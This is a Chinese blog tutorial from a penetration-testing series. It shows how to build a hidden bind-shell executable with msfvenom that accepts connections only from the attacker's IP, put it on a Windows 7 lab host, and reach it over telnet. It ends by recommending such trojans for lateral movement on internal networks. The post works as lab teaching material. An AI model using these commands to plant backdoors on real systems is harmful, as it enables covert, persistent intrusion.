首页 > 系统相关 >【攻防技术系列】Msfvenom制作专属Shell

【攻防技术系列】Msfvenom制作专属Shell

时间:2024-07-15 17:34:15浏览次数:10  
标签:攻防 Shell 主机 192.168 Step shell Msfvenom

#Msfvenom

场景

有时候我们上传Shell到目标主机后,不仅我们自己可以连接,其他用户也可以连接,有时候会导致我们丢失该Shell,甚至该shell被用户发现并查杀,本篇文章我们将介绍如何通过Msfvenom来生成用户自己的专属Shell

实验环境

【kali(攻击主机)】:192.168.10.131
【win7(目标主机)】:192.168.10.134
【win10(其他主机)】:192.168.10.1

操作流程

Step 1:实验MSF生成隐藏Bind Shell

msfvenom -p windows/shell_hidden_bind_tcp LPORT=8889 AHOST=192.168.10.131 -f exe > hidden_shell.exe

Step 2:之后将hidden_shell.exe通过一句话木马或者其他方式上传/下载到目标主机上并执行

Step 3:之后查看目标主机本地的8889端口是否开放

❗注意,确保实验顺利进行,记得先关闭杀软,下载之后要点击运行。

Step 4:之后使用同网段的其他主机链接该目标主机

telnet 192.168.10.134 8889

Step 5:使用攻击主机去链接

telnet 192.168.10.134 8889

文末思考

通过制作类似的专属Shell还有一个好处就是当你在内网渗透测试过程中拿下一台跳板机时,你可以利用这台跳板机生成一个正向木马并将其丢到内网的其他机器里面,之后随时可以通过Telnet获取到目标的shell。

标签:攻防,Shell,主机,192.168,Step,shell,Msfvenom
From: https://www.cnblogs.com/o-O-oO/p/18303592

相关文章

  • 【攻防技术系列】shellcode初始
    虚拟机环境搭建【Kali】:192.168.10.131【win】:192.168.10.1shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。但是想要更充分理解什么是shellcode,我们得先了解下可执行程序和shellcode都是怎么运行的。简单来说......
  • [SUCTF 2018]GetShell 1
    自增绕过,文件上传打开是一个白的页面,开始信息收集,可以在前端代码中看到,index.php?act=upload尝试访问之后发现是文件上传发现是直接给了源码的,代码解释:这段PHP代码用于处理一个通过HTML表单上传的文件,并检查该文件的内容是否包含任何黑名单中的字符。下面是逐行解释:if($co......
  • 【攻防实操系列】phpStudy日志探索
    #phpStudy#应急响应#靶场搭建工具phpStudy一、攻击者的shell密码在桌面看到phpStudy,右键选择“打开文件所在的位置”,获得phpStudy路径:C:\phpStudy_pro。使用D盾在phpStudy路径下查找webshell,获得webshell路径:C:\phpStudy_pro\WWW\content\plugins\tips\shell.php。打......
  • 在Linux中,如何编写shell脚本将当前目录下大于10K的文件转移到/tmp目录下?
    编写一个shell脚本来将当前目录下大于10K的文件转移到/tmp目录下,你可以遵循以下步骤:打开你的Linux终端。使用文本编辑器创建一个新的shell脚本文件,例如使用nano或vim:nanomove_large_files.sh在打开的编辑器中,编写以下脚本内容:#!/bin/bash#定义目标目录TARGET_DIR......
  • Datawhale AI 夏令营 从零入门CV图像竞赛(Deepfake攻防)
    DatawhaleAI夏令营从零入门CV图像竞赛(Deepfake攻防)Step0:注册Kaggle如果有Kaggle账户,直接登录即可,无需处理此步骤使用Edge浏览器安装HeaderEditor插件(点击即可跳转)链接:https://microsoftedge.microsoft.com/addons/detail/header-editor/afopnekiinpekooejpchnkg......
  • 使用gzexe加密shell脚本
    使用gzexe加密shell脚本是一个相对简单的过程。以下是具体的步骤:编写你的shell脚本:首先,你需要有一个shell脚本文件,比如myscript.sh。确保脚本可执行:使用chmod命令确保你的脚本文件是可执行的:chmod+xmyscript.sh使用gzexe加密脚本:在终端中,导航到脚本所在......
  • 【Linux】02.shell命令及其运行原理
    一、概念与功能广义上的Linux操作系统分为Linux内核和Linux外壳。内核部分就是我们实际的Linux操作系统,我们称之为核心(kernel)。我们一般用户,不擅长也不能直接使用kernel,而是通过kernel的外壳程序,也就是所谓的shell来与kernel沟通。那么如何理解?为什么不能直接使用kerne......
  • “好物”推荐+Xshell连接实例+使用Conda创建独立的Python环境
    目录主题:好易智算平台推荐+RTX4090DGPU实例租用演示+安装配置torch1.9.1+cuda11.1.1环境引言:算力的新时代平台介绍:技术与信任的结晶使用案例:实际使用展示创建实例开始使用连接实例(下文演示使用Xshell连接,后续传文件也有配套的sftp可以使用)sftp传文件查看服务器配置,使用C......
  • 08_Shell运算符
    08_Shell运算符一、算数运算符expr整数表达式#!/bin/bash#整数运算(expr只能整数运算)expr1+1expr1\*2expr2/1expr2-1expr3%2#结果接收要用``反引号result=`expr1+1`echo$result二、比较运算符2.1、整数比较运算符运算符说明......
  • PowerShell发送企业微信消息
     Import-ModuleMicrosoft.PowerShell.UtilityFunctionSendWechat($user,$days){$corpid="wechat"$secret="123-446"$agentid="1000000"$auth_sring="https://qyapi.weixin.qq.com/cgi-bin/gettoken?......